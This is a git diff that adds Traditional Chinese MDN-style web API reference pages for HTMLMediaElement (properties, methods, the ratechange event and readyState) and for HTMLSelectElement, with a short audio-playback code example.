+ <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that sets or returns the remote playback state, indicating whether the media element is allowed to have a remote playback UI.</dd>
+ <dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt>
+ <dd>Returns a <code>double</code> indicating the length of the media in seconds, or 0 if no media data is available.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{jsxref('Boolean')}} that indicates whether the media element has finished playing.</dd>
+ <dt>{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("MediaError")}} object for the most recent error, or <code>null</code> if there has not been an error.</dd>
+ <dt>{{domxref("HTMLMediaElement.loop")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that reflects the {{htmlattrxref("loop", "video")}} HTML attribute, which indicates whether the media element should start over when it reaches the end.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaGroup")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("mediagroup", "video")}} HTML attribute, which indicates the name of the group of elements it belongs to. A group of media elements shares a common {{domxref('MediaController')}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("MediaKeys")}} object or <code>null</code>. MediaKeys is a set of keys that an associated HTMLMediaElement can use for decryption of media data during playback.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Returns a {{jsxref('Boolean')}}. Related to audio stream capture.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}</dt>
+ <dd>Is a <code>double</code> that provides access to the fragment end time if the media element has a fragment URI for <code>currentSrc</code>, otherwise it is equal to the media duration.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>Is a <code>unsigned long</code> that indicates the number of samples that will be returned in the framebuffer of each <code>MozAudioAvailable</code> event. This number is a total for all channels, and by default is set to be the number of channels * 1024 (e.g., 2 channels * 1024 samples = 2048 total).</p>
+
+ <p>The <code>mozFrameBufferLength</code> property can be set to a new value for lower latency, larger amounts of data, etc. The size given <em>must</em> be a number between 512 and 16384. Using any other size results in an exception being thrown. The best time to set a new length is after the <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a> event fires, when the audio info is known, but before the audio has started or <code>MozAudioAvailable</code> events have begun firing.</p>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns a <code>double</code> representing the number of samples per second that will be played. For example, 44100 samples per second is the sample rate used by CD audio.</dd>
+ <dt>{{domxref("HTMLMediaElement.muted")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that determines whether audio is muted. <code>true</code> if the audio is muted and <code>false</code> otherwise.</dd>
+ <dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt>
+ <dd>Returns a <code>unsigned short</code> (enumeration) indicating the current state of fetching the media over the network.</dd>
+ <dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{jsxref('Boolean')}} that indicates whether the media element is paused.</dd>
+ <dt>{{domxref("HTMLMediaElement.playbackRate")}}</dt>
+ <dd>Is a <code>double</code> that indicates the rate at which the media is being played back. </dd>
+ <dt>{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref('TimeRanges')}} object that contains the ranges of the media source that the browser has played, if any.</dd>
+ <dt>{{domxref("HTMLMediaElement.preload")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("preload", "video")}} HTML attribute, indicating what data should be preloaded, if any. Possible values are: <code>none</code>, <code>metadata</code>, <code>auto</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that determines if the pitch of the sound will be preserved. If set to <code>false</code>, the pitch will adjust to the speed of the audio. This is implemented with prefixes in Firefox (<code>mozPreservesPitch</code>) and WebKit (<code>webkitPreservesPitch</code>).</dd>
+ <dt>{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}</dt>
+ <dd>Returns a <code>unsigned short</code> (enumeration) indicating the readiness state of the media.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref('TimeRanges')}} object that contains the time ranges that the user is able to seek to, if any.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{jsxref('Boolean')}} that indicates whether the media is in the process of seeking to a new position.</dd>
+ <dt>{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} that is the unique ID of the audio device delivering output, or an empty string if it is using the user agent default. This ID should be one of the <code>MediaDeviceInfo.deviceid</code> values returned from {{domxref("MediaDevices.enumerateDevices()")}}, <code>id-multimedia</code>, or <code>id-communications</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.src")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "video")}} HTML attribute, which contains the URL of a media resource to use.</dd>
+ <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt>
+ <dd>Is a {{domxref('MediaStream')}} representing the media to play or that has played in the current <code>HTMLMediaElement</code>, or <code>null</code> if not assigned.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt>
+ <dd>Returns the list of {{domxref("TextTrack")}} objects contained in the element.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt>
+ <dd>Returns the list of {{domxref("VideoTrack")}} objects contained in the element.
+ <div class="note">
+ <p>Gecko supports only single track playback, and the parsing of tracks' metadata is only available for media with the Ogg container format.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.volume")}}</dt>
+ <dd>Is a <code>double</code> indicating the audio volume, from 0.0 (silent) to 1.0 (loudest).</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt> </dt>
+ <dt>{{domxref("HTMLMediaElement.onencrypted")}}</dt>
+ <dd>Sets the {{domxref('EventHandler')}} called when the media is encrypted.</dd>
+ <dt>{{domxref("HTMLMediaElement.onwaitingforkey")}}</dt>
+ <dd>Sets the {{domxref('EventHandler')}} called when playback is blocked while waiting for an encryption key.</dd>
+</dl>
+
+<h2 id="Obsolete_attributes">Obsolete attributes</h2>
+
+<p>These attributes are obsolete and should not be used, even if a browser still supports them.</p>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns a <code>double</code> that indicates the initial playback position in seconds.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns a <code>double</code> representing the number of channels in the audio resource (e.g., <code>2</code> for stereo).</dd>
+</dl>
+
+<h3 id="Obsolete_event_handlers">Obsolete event handlers</h3>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Sets the {{domxref("EventHandler")}} called when the media element is interrupted because of the Audio Channel manager. This was Firefox-specific, having been implemented for Firefox OS, and was removed in Firefox 55.</dd>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Sets the {{domxref('EventHandler')}} called when the interruption is concluded. This was Firefox-specific, having been implemented for Firefox OS, and was removed in Firefox 55.</dd>
+</dl>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods from its ancestors {{domxref("HTMLElement")}}, {{domxref('Element')}}, {{domxref('Node')}}, and {{domxref('EventTarget')}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.addTextTrack()")}}</dt>
+ <dd>Adds a text track (such as a track for subtitles) to a media element.</dd>
+ <dt>{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Returns {{domxref("MediaStream")}}, captures a stream of the media content.</dd>
+ <dt>{{domxref("HTMLMediaElement.canPlayType()")}}</dt>
+ <dd>Determines whether the specified media type can be played back.</dd>
+ <dt>{{domxref("HTMLMediaElement.fastSeek()")}}</dt>
+ <dd>Directly seeks to the given time.</dd>
+ <dt>{{domxref("HTMLMediaElement.load()")}}</dt>
+ <dd>Resets the media element and restarts the media resource. Any pending events are discarded. How much media data is fetched is still affected by the <code>preload</code> attribute. This method can be useful for releasing resources after any <code>src</code> attribute and <code>source</code> element descendants have been removed. Otherwise, it is usually unnecessary to use this method, unless required to rescan <code>source</code> element children after dynamic changes.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}</dt>
+ <dd>Returns {{jsxref('Object')}}, which contains properties that represent metadata from the playing media resource as <code>{key: value}</code> pairs. A separate copy of the data is returned each time the method is called. This method must be called after the <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a> event fires.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause()")}}</dt>
+ <dd>Pauses the media playback.</dd>
+ <dt>{{domxref("HTMLMediaElement.play()")}}</dt>
+ <dd>Begins playback of the media.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}</dt>
+ <dd>Seeks to the next frame in the media. This non-standard, experimental method makes it possible to manually drive reading and rendering of media at a custom speed, or to move through the media frame-by-frame to perform filtering or other operations.</dd>
+ <dt>{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}</dt>
+ <dd>Returns {{jsxref("Promise")}}. Sets the {{domxref("MediaKeys")}} keys to use when decrypting media during playback.</dd>
+ <dt>{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}</dt>
+ <dd>Sets the ID of the audio device to use for output and returns a {{jsxref("Promise")}}. This only works when the application is authorized to use the specified device.</dd>
+</dl>
+
+<h2 id="Obsolete_methods">Obsolete methods</h2>
+
+<p>These methods are obsolete and should not be used, even if a browser still supports them.</p>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>This method, available only in Mozilla's implementation, loads data from another media element. This works similarly to <code>load()</code> except that instead of running the normal resource selection algorithm, the source is simply set to the <code>other</code> element's <code>currentSrc</code>. This is optimized so this element gets access to all of the <code>other</code> element's cached and buffered data; in fact, the two elements share downloaded data, so data downloaded by either element is available to both.</dd>
+</dl>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}</td>
+   <td>{{Spec2('EME')}}</td>
+   <td>Adds {{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, and {{domxref("onwaitingforkey")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Adds <code>sinkId</code> and <code>setSinkId()</code>, and <code>captureStream()</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>References
+  <ul>
+   <li>{{HTMLElement("video")}} and {{HTMLElement("audio")}} HTML elements.</li>
+   <li>{{domxref("HTMLVideoElement")}} and {{domxref("HTMLAudioElement")}} interfaces, derived from <code>HTMLMediaElement</code>.</li>
+  </ul>
+ </li>
+ <li>Articles
+  <ul>
+   <li><a class="internal" href="/en-US/docs/Using_HTML5_audio_and_video">Using HTML5 audio and video</a></li>
+   <li><a class="internal" href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">Media formats supported by the audio and video elements</a></li>
+   <li><a href="/en-US/docs/Web_Audio_API">Web Audio API</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlmediaelement/ratechange_event/index.html b/files/zh-tw/web/api/htmlmediaelement/ratechange_event/index.html
new file mode 100644
index 0000000000..e4c6a3d743
--- /dev/null
+++ b/files/zh-tw/web/api/htmlmediaelement/ratechange_event/index.html
@@ -0,0 +1,82 @@
+---
+title: 'HTMLMediaElement: ratechange'
+slug: Web/API/HTMLMediaElement/ratechange_event
+tags:
+  - 播放速度 速度 速率
+translation_of: Web/API/HTMLMediaElement/ratechange_event
+---
+<p><code>ratechange</code> 事件將在播放速度改變時被觸發</p>
+
+<h2 id="基本資訊">基本資訊</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">規格</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 Media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">介面</dt>
+ <dd style="margin: 0 0 0 120px;">事件</dd>
+ <dt style="float: left; text-align: right; width: 120px;">是否冒泡</dt>
+ <dd style="margin: 0 0 0 120px;">否</dd>
+ <dt style="float: left; text-align: right; width: 120px;">是否可取消</dt>
+ <dd style="margin: 0 0 0 120px;">否</dd>
+ <dt style="float: left; text-align: right; width: 120px;">目標</dt>
+ <dd style="margin: 0 0 0 120px;">元素</dd>
+ <dt style="float: left; text-align: right; width: 120px;">預設行為</dt>
+ <dd style="margin: 0 0 0 120px;">無</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">屬性</th>
+   <th scope="col">類型</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>事件目標（DOM樹中最頂層的目標)</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>事件類型</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>事件是否觸發冒泡</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>事件是否可取消</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="相關事件">相關事件</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlmediaelement/readystate/index.html b/files/zh-tw/web/api/htmlmediaelement/readystate/index.html
new file mode 100644
index 0000000000..14df7bb4e0
--- /dev/null
+++ b/files/zh-tw/web/api/htmlmediaelement/readystate/index.html
@@ -0,0 +1,110 @@
+---
+title: HTMLMediaElement.readyState
+slug: Web/API/HTMLMediaElement/readyState
+translation_of: Web/API/HTMLMediaElement/readyState
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<div><strong><code>HTMLMediaElement.readyState</code> </strong>屬性回傳目前媒體的就緒狀態。</div>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">var readyState = audioOrVideo.readyState;</pre>
+
+<h3 id="值">值</h3>
+
+<p>一個 <code>unsigned short</code>，可能的值有：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">常數</th>
+   <th scope="col">值</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>HAVE_NOTHING</td>
+   <td>0</td>
+   <td>沒有可用的媒體資源。</td>
+  </tr>
+  <tr>
+   <td>HAVE_METADATA</td>
+   <td>1</td>
+   <td>已經取得足夠的媒體資源並已初始化元資料。繼續取得媒體資源不會導致例外。</td>
+  </tr>
+  <tr>
+   <td>HAVE_CURRENT_DATA</td>
+   <td>2</td>
+   <td>媒體資料已經足夠播放目前的時間，但沒有足夠的資料再播放一幀。</td>
+  </tr>
+  <tr>
+   <td>HAVE_FUTURE_DATA</td>
+   <td>3</td>
+   <td>資料已經足夠播放目前的時間，而且有至少一點點資料可以播放未來的時間（換句話說，可能只多了一到兩幀）。</td>
+  </tr>
+  <tr>
+   <td>HAVE_ENOUGH_DATA</td>
+   <td>4</td>
+   <td>資料足夠，且下載率夠高。媒體可以播放到結束而不被中斷。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="範例">範例</h2>
+
+<p>下面這個例子會監聽 `example` 這個元素，並檢查是否已載入足夠的媒體資源。如果是的話，它會繼續播放。</p>
+
+<pre class="brush: html">&lt;audio id="example" preload="auto"&gt;
+ &lt;source src="sound.ogg" type="audio/ogg" /&gt;
+&lt;/audio&gt;
+
+</pre>
+
+<pre class="brush: js">var obj = document.getElementById('example');
+
+obj.addEventListener('loadeddata', function() {
+
+  if(obj.readyState &gt;= 2) {
+    obj.play();
+  }
+
+});
+</pre>
+
+<p> </p>
+
+<h2 id="標準">標準</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.readyState")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.readyState")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement.readyState")}}</p>
+
+<h2 id="See_Also" name="See_Also">也參考看看</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLMediaElement")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlselectelement/checkvalidity/index.html b/files/zh-tw/web/api/htmlselectelement/checkvalidity/index.html
new file mode 100644
index 0000000000..8ded860ac4
--- /dev/null
+++ b/files/zh-tw/web/api/htmlselectelement/checkvalidity/index.html
@@ -0,0 +1,98 @@
+---
+title: HTMLSelectElement.checkValidity()
+slug: Web/API/HTMLSelectElement/checkValidity
+translation_of: Web/API/HTMLSelectElement/checkValidity
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><code><strong>HTMLSelectElement.checkValidity()</strong></code> 方法會檢查元素是否有任何的檢核、驗證條件，並且檢查是否滿足這些條件。如果元素沒有通過這些檢核，瀏覽器會於該元素上觸發一個可取消的 {{event("invalid")}} 事件，並回傳 <code>false</code>。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="eval  language-html"><code class="language-html">var <em>result</em> = <em>selectElt</em>.checkValidity();</code></pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-cva-checkvalidity', 'HTMLSelectElement.checkValidity()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-cva-checkvalidity', 'HTMLSelectElement.checkValidity()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition, snapshot of {{SpecName('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Form validation.</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlselectelement/index.html b/files/zh-tw/web/api/htmlselectelement/index.html
new file mode 100644
index 0000000000..0110568dd6
--- /dev/null
+++ b/files/zh-tw/web/api/htmlselectelement/index.html
@@ -0,0 +1,283 @@
+---
+title: HTMLSelectElement
+slug: Web/API/HTMLSelectElement
+translation_of: Web/API/HTMLSelectElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>HTMLSelectElement</strong></code> 介面代表了 {{HTMLElement("select")}} HTML 元素。此介面也自 {{domxref("HTMLElement")}} 介面繼承了所有 HTML 元素的屬性及方法。</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.autofocus")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.disabled")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.</dd>
+ <dt>{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns <code>null</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.</dd>
+ <dt>{{domxref("HTMLSelectElement.length")}}</dt>
+ <dd>An <code>unsigned long </code>The number of {{HTMLElement("option")}} elements in this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.multiple")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.name")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.</dd>
+ <dt>{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} elements contained by this element.</dd>
+ <dt>{{domxref("HTMLSelectElement.required")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedIndex")}}</dt>
+ <dd>A <code>long</code> reflecting the index of the first selected {{HTMLElement("option")}} element. The value <code>-1</code> indicates no element is selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.size")}}</dt>
+ <dd>A <code>long</code> reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is true, in which case it is 4.</dd>
+ <dt>{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} represeting the form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</dd>
+ <dt>{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("ValidityState")}} reflecting the validity state that this control is in.</dd>
+ <dt>{{domxref("HTMLSelectElement.value")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form control (the first selected option).</dd>
+ <dt>{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.add()")}}</dt>
+ <dd>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}</dt>
+ <dd>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.checkValidity()")}}</dt>
+ <dd>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{event("invalid")}} event at the element (and returns <code>false</code>).</dd>
+ <dt>{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}</dt>
+ <dd>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.item()")}}</dt>
+ <dd>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.namedItem()")}}</dt>
+ <dd>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</dd>
